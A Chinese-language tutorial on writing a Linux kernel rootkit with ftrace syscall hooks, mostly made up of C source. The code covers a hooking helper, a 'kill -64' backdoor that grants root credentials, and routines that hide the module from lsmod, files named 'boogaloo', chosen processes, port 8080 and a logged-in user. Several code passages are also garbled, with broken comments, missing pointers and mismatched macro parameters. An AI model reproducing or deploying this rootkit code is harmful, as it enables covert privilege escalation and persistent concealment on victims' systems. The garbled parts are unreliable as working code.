Linux内核级rootkit技术是一种极为高级的黑客攻击技术,它能够打破Linux系统的安全防御,实现对系统和用户的完全控制。相较于用户态rootkit,内核级的rootkit在操作系统内核层次进行操控,更难被发现,一旦被安装,会成为操作系统内核的一部分,更加耐久和难以清除,并且由于存在于内核级别,可以篡改内存数据和内核模块,控制权更高,危害更大。本文从函数hook对Linux内核级rootkit的实现进行技术分析。
一、 开始之前
作为内核rootkit意味着我们编写的代码将通过我们编写的内核模块运行在Ring 0,这可能是一把双刃剑:我们所做的动作对于用户空间的工具是不可见的,但是任何细微的错误都会导致内核崩溃。
rootkit作为内核模块安装,而由于Linux对于内核模块有签名校验,没办法将其他主机上编译出来的内核模块安装到自己的主机,所以就需要在本地进行编译。编译内核模块需要内核源码,因此可以apt update; apt install git build-essential linux-headers-$(uname -r)来安装当前Linux的源码。由于本文主要介绍rootkit功能的实现原理,所以只截取重要代码分析,对于基本的模块代码不再过多讲解。
这里要介绍几个基础函数,对我们后续的hook至关重要。
- ftrace_set_filter_ip,ftrace机制的重要函数,是为了在编写内核代码时进行性能分析和调试。开启时会对指定的函数进行跟踪,并记录堆栈和参数信息。
- kallsyms_lookup_name,参数传递一个内核符号名称,查找符号的地址,如果找不到则返回0。可灵活运用此函数来调用任意内核函数。
二、 ftrace和hook
简单来说,hook是rootkit的精髓所在,可以hook劫持系统调用,或者修改某些命令的返回结果。那么rootkit是怎么样对系统调用或者内核函数进行hook的呢?
举个例子,假如我们要对mkdir命令进行hook,实现在使用mkdir命令时在dmesg日志中保留一段文本。即然是内核级别的rootkit,那么我们就需要知道在执行mkdir命令时哪些系统调用被执行了。mkdir底层调用内核中的sys_mkdir函数,接收两个参数:
SYSCALL_DEFINE2(mkdir, const char __user *, pathname, umode_t, mode)
{
return do_mkdirat(AT_FDCWD, getname(pathname), mode);
}
现在我们自己写一个函数来替代sys_mkdir:
static asmlinkage long (*orig_mkdir)(const char __user *pathname, umode_t mode);
asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode)
{
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if (error > 0)
printk(KERN_INFO "rootkit: trying to create directory with name %s\n", dir_name);
orig_mkdir(pathname, mode);
return 0;
}
代码其实比较简单,orig_mkdir是一个函数指针,asmlinkage表示使用程序栈而不是内核栈,稍后会将此函数指针指向原本的mkdir。hook_mkdir从用户态读取pathname,简单的从dmesg打印出文件夹名称,验证hook操作是否成功,最后orig_mkdir执行原有的mkdir确保会实际创建一个文件夹。
重点在于是如何使用ftrace来进行hook的。以下是关于ftrace对函数hook的实现:
/*
- Helper library for ftrace hooking kernel functions
- Author: Harvey Phillips (xcellerator@gmx.com)
- License: GPL
- */
#include <linux/ftrace.h>
#include <linux/linkage.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
/* x64 has to be special and require a different naming convention */
#ifdef PTREGS_SYSCALL_STUBS
#define SYSCALL_NAME(name) ("__x64_" name)
#else
#define SYSCALL_NAME(name) (name)
#endif
#define HOOK(_name, _hook, orig) \
{ \
.name = SYSCALL_NAME(name), \
.function = (hook), \
.original = (orig), \
}
/* We need to prevent recursive loops when hooking, otherwise the kernel will
- panic and hang. The options are to either detect recursion by looking at
- the function return address, or by jumping over the ftrace call. We use the
- first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
- setting it to 1. (Oridinarily ftrace provides it's own protections against
- recursion, but it relies on saving return registers in $rip. We will likely
- need the use of the $rip register in our hook, so we have to disable this
- protection and implement our own).
- */
#define USE_FENTRY_OFFSET 0
#if !USE_FENTRY_OFFSET
#pragma GCC optimize("-fno-optimize-sibling-calls")
#endif
/* We pack all the information we need (name, hooking function, original function)
into this struct. This makes is easier for setting up the hook and just passing
the entire struct off to fh_install_hook() later on.
*/
struct ftrace_hook {
const char *name;
void *function;
void *original;
unsigned long address;
struct ftrace_ops ops;
};
/* Ftrace needs to know the address of the original function that we
are going to hook. As before, we just use kallsyms_lookup_name()
to find the address in kernel memory.
*/
static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
hook->address = kallsyms_lookup_name(hook->name);
if (!hook->address)
{
printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
return -ENOENT;
}
#if USE_FENTRY_OFFSET
((unsigned long) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
((unsigned long) hook->original) = hook->address;
#endif
return 0;
}
/* See comment below within fh_install_hook() */
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs)
{
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
#if USE_FENTRY_OFFSET
regs->ip = (unsigned long) hook->function;
#else
if(!within_module(parent_ip, THIS_MODULE))
regs->ip = (unsigned long) hook->function;
#endif
}
/* Assuming we've already set hook->name, hook->function and hook->original, we
can go ahead and install the hook with ftrace. This is done by setting the
ops field of hook (see the comment below for more details), and then using
the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
provided by ftrace.h
*/
int fh_install_hook(struct ftrace_hook hook)
{
int err;
err = fh_resolve_hook_address(hook);
if(err)
return err;
/ For many of function hooks (especially non-trivial ones), the $rip
register gets modified, so we have to alert ftrace to this fact. This
- is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
- need to OR the RECURSION_SAFE flag (effectively turning if OFF) because
- the built-in anti-recursion guard provided by ftrace is useless if
- we're modifying $rip. This is why we have to implement our own checks
- (see USE_FENTRY_OFFSET). */
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION_SAFE
| FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if(err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if(err)
{
printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
return err;
}
return 0;
}
/* Disabling our function hook is just a simple matter of calling the built-in
unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
opposite order to that in fh_install_hook()).
*/
void fh_remove_hook(struct ftrace_hook *hook)
{
int err;
err = unregister_ftrace_function(&hook->ops);
if(err)
{
printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err);
}
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
if(err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
}
}
/* To make it easier to hook multiple functions in one module, this provides
a simple loop over an array of ftrace_hook struct
*/
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
int err;
size_t i;
for (i = 0 ; i < count ; i++)
{
err = fh_install_hook(&hooks);
if(err)
goto error;
}
return 0;
error:
while (i != 0)
{
fh_remove_hook(&hooks[--i]);
}
return err;
}
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
size_t i;
for (i = 0 ; i < count ; i++)
fh_remove_hook(&hooks[i]);
}
解释重点部分:
• 宏定义中确定kernel version是因为在4.17.0之后,syscall会使用pt_regs来保存寄存器信息。USE_FENTRY_OFFSET是为了避免ftrace的递归循环调用。
• container_of函数是内核中常用的函数,给定它一个结构体,结构体成员和一个成员指针,它可以通过结构体成员找到所属结构体的指针。
• within_module 是一个 ftrace 的过滤器选项,用于限制跟踪的代码路径。这个选项可以限制只跟踪在某个指定的内核模块中的代码路径。如果指定了该选项,则只有在指定模块中的函数调用才会被跟踪,其他模块中的函数调用将被忽略。这个选项可以用于减少跟踪的数据量,或者在特定情况下对某个模块进行调试和优化。
• FTRACE_OPS_FL_SAVE_REGS 是一个 ftrace 的标志位,表示在函数调用跟踪期间需要保存所有的寄存器。FTRACE_OPS_FL_RECURSION_SAFE 表示跟踪函数调用时可以递归调用该跟踪函数本身,这个标志主要用于防止递归函数调用时出现死锁或崩溃等问题。FTRACE_OPS_FL_IPMODIFY 表示跟踪函数调用时需要修改程序计数器(PC)的值。程序计数器是一个特殊的寄存器,存储着当前 CPU 执行的指令地址,在函数调用时,程序计数器会指向下一个要执行的指令地址。FTRACE_OPS_FL_IPMODIFY 标志允许跟踪函数在调用结束后修改程序计数器的值,以控制程序执行的流程。
• ftrace_set_filter_ip 函数是 ftrace 框架提供的一个API,用于设置跟踪的函数地址。它将给定的函数地址添加到 ftrace 内部的跟踪过滤器中,以便在函数调用时触发跟踪功能。register_ftrace_function 用于注册一个自定义的 ftrace 函数,这个函数将一个 ftrace 函数添加到 ftrace 内部的回调列表中,在跟踪的时候会依次调用这些函数。unregister_ftrace_function 即卸载函数。
有了ftrace实现hook之后,只需要将其应用到模块中:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/namei.h>
#include "ftrace_helper.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("mkdir syscall hook");
MODULE_VERSION("0.01");
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_mkdir)(const struct pt_regs *);
asmlinkage int hook_mkdir(const struct pt_regs *regs)
{
char __user *pathname = (char *)regs->di;
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if (error > 0)
printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir_name);
orig_mkdir(regs);
return 0;
}
#else
static asmlinkage long (*orig_mkdir)(const char __user *pathname, umode_t mode);
asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode)
{
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if (error > 0)
printk(KERN_INFO "rootkit: trying to create directory with name %s\n", dir_name);
orig_mkdir(pathname, mode);
return 0;
}
#endif
static struct ftrace_hook hooks[] = {
HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
};
static int __init rootkit_init(void)
{
int err;
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if(err)
return err;
printk(KERN_INFO "rootkit: loaded\n");
return 0;
}
static void __exit rootkit_exit(void)
{
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "rootkit: unloaded\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
Makefile内容如下:
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
在编译并insmod时会执行module_init,将会把sys_mkdir替换为自定义的hook_mkdir,最后在执行mkdir命令时将会在dmesg中显示“rootkit: trying to create directory with name xxx”。
三、 root后门
前面介绍了ftrace是如何对syscall进行hook的,并且将mkdir系统调用替换为了我们自定义的函数。本篇文章讲将讲解rootkit的一些核心技术,包括root后门、隐藏内核模块、隐藏目录、隐藏用户和端口、隐藏进程各方面技术分析。
我们在使用kill命令时,实际上是发送了一个SIGKILL信号交给了sys_kill来处理,另外还有Ctrl+C发送SIGINT表示中断信号。实际上这些SIG信号都是数字,定义于signal.h文件中。我们可以利用这一点,自定义一个信号,然后hook sys_kill函数,在发送特定信号时让sys_kill返回一个root shell。
void set_root(void)
{
struct cred *root;
root = prepare_creds();
if (root == NULL)
return;
root->uid.val = root->gid.val = 0;
root->euid.val = root->egid.val = 0;
root->suid.val = root->sgid.val = 0;
root->fsuid.val = root->fsgid.val = 0;
commit_creds(root);
}
asmlinkage int hook_kill(const struct pt_regs *regs)
{
void set_root(void);
int sig = regs->si;
if (sig == 64)
{
printk(KERN_INFO "rootkit: giving root...\n");
set_root();
return 0;
}
return orig_kill(regs);
}
重要函数:
• prepare_creds是一个内核函数,它会分配并初始化一个cred对象。当我们设置好cred结构体的uid和gid之后,使用commit_creds将cred提交到当前进程。
• 我们使用SIG 64作为root shell的信号。
当我们在命令行输入kill -64 1时,即可获得一个root shell。
四、 从用户空间隐藏内核模块
实际上在安装好rootkit内核模块之后,用户可以通过lsmod命令查看当前安装的内核模块,出于隐蔽性方面的考虑,我们需要对其进行隐藏。当然,在隐藏内核模块之前,需要了解lsmod显示内核模块的原理。
内核模块都会关联到一个THIS_MODULE,它最终指向一个module结构体:
#ifdef MODULE
extern struct module this_module;
#define THIS_MODULE (&this_module)
#else
#define THIS_MODULE ((struct module *)0)
#endif
然后这个module结构体中存在一个双向链表list:
struct module {
enum module_state state;
/* Member of list of modules */
struct list_head list;
/* Unique handle for this module */
char name[MODULE_NAME_LEN];
......
举个简单例子来了解双向链表:
struct my_object entry1, entry2, entry3;
entry1.prev = NULL;
entry1.next = &entry2;
entry2.prev = &entry1;
entry2.next = &entry3;
entry3.prev = &entry2;
entry3.next = NULL;
实际上lsmod就是通过module中的list链表来遍历当前系统中安装的模块,可以通过以下测试代码来验证这个链表的存在:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Linked Lists Example");
MODULE_VERSION("0.01");
static int __init rootkit_init(void)
{
printk(KERN_INFO "rootkit: Loaded >:-)\n");
struct list_head *next_position = (&THIS_MODULE->list)->next;
struct list_head *prev_position = (&THIS_MODULE->list)->prev;
struct module *next_ptr = NULL;
struct module *prev_ptr = NULL;
next_ptr = list_entry( next_position, struct module, list);
prev_ptr = list_entry( prev_position, struct module, list);
printk(KERN_DEBUG "rootkit: next kernel module = %s\n", next_ptr->name);
printk(KERN_DEBUG "rootkit: prev kernel module = %s\n", prev_ptr->name);
return 0;
}
static void __exit rootkit_exit(void)
{
printk(KERN_INFO "rootkit: Unloaded 🙁\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
运行结果如下(结果中prev为空,是因为我们这个rootkit是链表中的第一个模块):
$ sudo insmod rootkit.ko
$ dmesg
[12956.924033] rootkit: Loaded >:-)
[12956.924034] rootkit: next kernel module = ufs
[12956.924034] rootkit: prev kernel module =
不难想到的是,我们可以通过删除rootkit模块的链表信息,这样lsmod就不会再向用户显示模块了,但它又存在于系统中,这样就达到了隐藏目的。如何删除链表中的对象呢?内核其实已经有了对于链表的操作函数,比如list_del、list_add等等。我们借用kill启动后门的思路,为kill命令定义一个隐藏模块的信号,当接收到信号时,是用list_del函数删除链表中的指针。实现代码如下:
static struct list_head *prev_module;
void hideme(void)
{
prev_module = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
}
void showme(void)
{
list_add(&THIS_MODULE->list, prev_module);
}
static short hidden = 0;
asmlinkage int hook_kill(const struct pt_regs *regs)
{
void showme(void);
void hideme(void);
int sig = regs->si;
if ( (sig == 64) && (hidden == 0) )
{
printk(KERN_INFO "rootkit: hiding rootkit!\n");
hideme();
hidden = 1;
}
else if ( (sig == 64) && (hidden == 1) )
{
printk(KERN_INFO "rootkit: revealing rootkit!\n");
showme();
hidden = 0;
}
else
return orig_kill(regs);
}
需要注意一点的是,如果隐藏了内核模块,在使用rmmod时将会失败,这是因为rmmod实际上也是通过遍历链表的方式来查找卸载模块的。
五、 隐藏目录和文件
rootkit通常会带有文件隐藏的功能,可用于rootkit远程下载文件后进行隐藏。为了使ls命令不显示目录下的文件,首先还是要搞清楚ls命令做了什么。
通过strace命令,得知ls命令最终会调用到getdents64系统调用(32位为getdents)。getdents64定义如下:
SYSCALL_DEFINE3(getdents64, unsigned int, fd,
struct linux_dirent64 __user *, dirent, unsigned int, count)
第二个参数是一个linux_dirent64结构体:
struct linux_dirent64 {
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[];
};
其中的d_reclen表示结构的总大小,d_name是名称字符串,我们可以对比d_name来遍历查找我们想要的隐藏的文件。另外在strace ls得到的结果中还可以得到一条有用信息:
getdents64(3, 0x55d9b3dc1400 /* 19 entries */, 32768) = 600
这表示它已经将600字节写入了内核缓冲区中,如果我们想要隐藏文件名的话,我们必须在内核缓冲区中将其全部修改为0字符,然后找到并跳过这些条目。具体代码如下:
#include <linux/dirent.h>
#define PREFIX "boogaloo"
static asmlinkage long (*orig_getdents64)(const struct pt_regs *);
asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
/* Declare the previous_dir struct for book-keeping */
struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL;
unsigned long offset = 0;
int ret = orig_getdents64(regs);
dirent_ker = kzalloc(ret, GFP_KERNEL);
if ( (ret <= 0) || (dirent_ker == NULL) )
return ret;
long error;
error = copy_from_user(dirent_ker, dirent, ret);
if(error)
goto done;
while (offset < ret)
{
current_dir = (void *)dirent_ker + offset;
if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0)
{
/* Check for the special case when we need to hide the first entry */
if( current_dir == dirent_ker )
{
/* Decrement ret and shift all the structs up in memory */
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
/* Hide the secret entry by incrementing d_reclen of previous_dir by
* that of the entry we want to hide - effectively "swallowing" it
*/
previous_dir->d_reclen += current_dir->d_reclen;
}
else
{
/* Set previous_dir to current_dir before looping where current_dir
* gets incremented to the next entry
*/
previous_dir = current_dir;
}
offset += current_dir->d_reclen;
}
error = copy_to_user(dirent, dirent_ker, ret);
if(error)
goto done;
done:
kfree(dirent_ker);
return ret;
}
整体过程:
- 先执行正常的getdents64获得长度
- 分配一个相同大小的内存,初始化为0
- 循环查找,直到找到“boogaloo”文件名
- 通过增加 previous_dir 的 d_reclen 将我们想隐藏的条目跳过,达到隐藏效果。在else中,循环之前将 previous_dir 设置为 current_dir,其中 current_dir 递增到下一个条目。
最后完全隐藏了名为boogaloo_secret_file的文件,效果如下:

文件其实仍然存在,可以正常打开、删除等操作,但并不会出现在ls命令中。
六、 隐藏进程
隐藏进程其实比较简单。要知道在Linux中,用户空间的所有用于读取PID的工具都只是读取了/proc目录下的文件而已。那么我们可以通过像隐藏目录的方式去将/proc目录下的PID目录隐藏即可。但实际上PID是随机的,没办法通过硬编码的方式写死在rootkit中。
我们其实可以通过之前hook kill命令的方式来做。sys_kill会自己向内核发送一个PID号,那么这时候我们只需要自定义一个rootkit命令,让其隐藏/proc下的条目即可。
asmlinkage int hook_kill(const struct pt_regs *regs)
{
pid_t pid = regs->di;
int sig = regs->si;
if ( sig == 64 )
{
/* If we receive the magic signal, then we just sprintf the pid
* from the intercepted arguments into the hide_pid string */
printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid);
sprintf(hide_pid, "%d", pid);
return 0;
}
return orig_kill(regs);
}
其中hide_pid是我们在kill命令中输入的PID号。最终结果如下图:

七、 隐藏端口号
Linux中大部分用户命令都是解析一个或多个文件数据,然后处理输出内容向用户显示。查看监听端口的命令是netstat,它打开了/proc/net/tcp和/proc/net/tcp6,分别对应IPv4和IPv6。实际上这些文件并不是真正的文件,只是用于操作的一个IO接口,netstat在底层是通过tcp4_seq_show来解析数据的,那么我们可以通过hook这个函数来对解析过程进行干预。
tcp4_seq_show函数定义如下:
static int tcp4_seq_show(struct seq_file *seq, void *v)
{
struct tcp_iter_state *st;
struct sock *sk = v;
此函数将第二个参数v转化为sock结构体,sock结构体中保存了许多成员,但我们只关心第一个sock_common结构体:
struct sock {
/*
- Now struct inet_timewait_sock also uses sock_common, so please just
- don't add nothing before this first member (__sk_common) --acme
*/
struct sock_common __sk_common;
#define sk_node __sk_common.skc_node
#define sk_nulls_node __sk_common.skc_nulls_node
.......
struct sock_common {
/* skc_daddr and skc_rcv_saddr must be grouped on a 8 bytes aligned
- address on 64bit arches : cf INET_MATCH()
/
union {
__addrpair skc_addrpair;
struct {
__be32 skc_daddr;
__be32 skc_rcv_saddr;
};
};
union {
unsigned int skc_hash;
__u16 skc_u16hashes[2];
};
/ skc_dport && skc_num must be grouped as well */
union {
__portpair skc_portpair;
struct {
__be16 skc_dport;
__u16 skc_num;
};
};
......
其中skc_dport字段就是存储端口号的结构体成员,那么我们只需在此结构体进行解析的时候,让其直接跳过tcp4_seq_show解析然后返回即可。rootkit实现如下:
static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
struct inet_sock *is;
long ret;
unsigned short port = htons(8080);
if (v != SEQ_START_TOKEN) {
is = (struct inet_sock *)v;
if (port == is->inet_sport || port == is->inet_dport) {
printk(KERN_DEBUG "rootkit: sport: %d, dport: %d\n",
ntohs(is->inet_sport), ntohs(is->inet_dport));
return 0;
}
}
ret = orig_tcp4_seq_show(seq, v);
return ret;
}
实现效果如下:

八、 隐藏登陆用户
在Linux中可以使用who命令来查看当前登录用户,而who命令实际上是使用openat和pread读取了/var/run/utmp文件,然后进行解析再返回给用户。
那么如果要隐藏用户的话,不难想到的是hook openat和pread函数,在它们读取内容后,将我们想要隐藏的内容置为0,这样在显示时便不会显示用户了,这实际上跟之前的例子相同,这里就不再重复解释原理了。但还存在一个问题,就是open和pread函数在底层有许多地方调用,这就需要我们去判断openat打开的文件是否是/var/run/utmp,然后再去hook pread之后的内容。实现代码如下:
int tamper_fd;
/* Declaration for the real sys_openat() - pointer fixed by Ftrace /
static asmlinkage long (orig_openat)(const struct pt_regs *);
/* Sycall hook for sys_open() */
asmlinkage int hook_openat(const struct pt_regs regs)
{
/
* Pull the filename out of the regs struct
*/
char *filename = (char *)regs->si;
char *kbuf;
char *target = "/var/run/utmp";
int target_len = 14;
long error;
/*
* Allocate a kernel buffer to copy the filename into
* If it fails, just return the real sys_openat() without delay
*/
kbuf = kzalloc(NAME_MAX, GFP_KERNEL);
if(kbuf == NULL)
return orig_openat(regs);
/*
* Copy the filename from userspace into the kernel buffer
* If it fails, just return the real sys_openat() without delay
*/
error = copy_from_user(kbuf, filename, NAME_MAX);
if(error)
return orig_openat(regs);
/*
* Compare the filename to "/var/run/utmp"
* If we get a match, call orig_openat(), save the result in tamper_fd,
* and return after freeing the kernel buffer. We just about get away with
* this delay between calling and returning
*/
if ( memcmp(kbuf, target, target_len) == 0 )
{
tamper_fd = orig_openat(regs);
kfree(kbuf);
return tamper_fd;
}
/*
* If we didn't get a match, then just need to free the buffer and return
*/
kfree(kbuf);
return orig_openat(regs);
}
static asmlinkage long (*orig_pread64)(const struct pt_regs *);
/* Hook for sys_pread64() */
asmlinkage int hook_pread64(const struct pt_regs regs)
{
/
* Pull the arguments we need out of the regs struct
*/
int fd = regs->di;
char *buf = (char *)regs->si;
size_t count = regs->dx;
char *kbuf;
struct utmp *utmp_buf;
long error;
int i, ret;
/*
* Check that fd = tamper_fd and that we're not messing with STDIN,
* STDOUT or STDERR
*/
if ( (tamper_fd == fd) &&
(tamper_fd != 0) &&
(tamper_fd != 1) &&
(tamper_fd != 2) )
{
/*
* Allocate the usual kernel buffer
* The count argument from rdx is the size of the buffer (should be 384)
*/
kbuf = kzalloc(count, GFP_KERNEL);
if( kbuf == NULL)
return orig_pread64(regs);
/*
* Do the real syscall, save the return value in ret
* buf will then hold a utmp struct, but we need to copy it into kbuf first
*/
ret = orig_pread64(regs);
error = copy_from_user(kbuf, buf, count);
if (error != 0)
return ret;
/*
* Cast kbuf to a utmp struct and compare .ut_user to HIDDEN_USER
*/
utmp_buf = (struct utmp *)kbuf;
if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 )
{
/*
* If we get a match, then we can just overwrite kbuf with 0x0
*/
for ( i = 0 ; i < count ; i++ )
kbuf[i] = 0x0;
/*
* Copy kbuf back to the userspace buf
*/
error = copy_to_user(buf, kbuf, count);
kfree(kbuf);
return ret;
}
/*
* We intercepted a sys_pread64() to /var/run/utmp, but this entry
* isn't about HIDDEN_USER, so just free the kernel buffer and return
*/
kfree(buf);
return ret;
}
/*
* This isn't a sys_pread64() to /var/run/utmp, do nothing
*/
return orig_pread64(regs);
}
由于hook了openat和pread,对系统性能其实影响其实是比较大的,这也算是一个缺陷。
Reference
https://xcellerator.github.io/posts/linux_rootkits_02/
https://gist.github.com/xcellerator/ac2c039a6bbd7782106218298f5e5ac1#file-ftrace_helper-h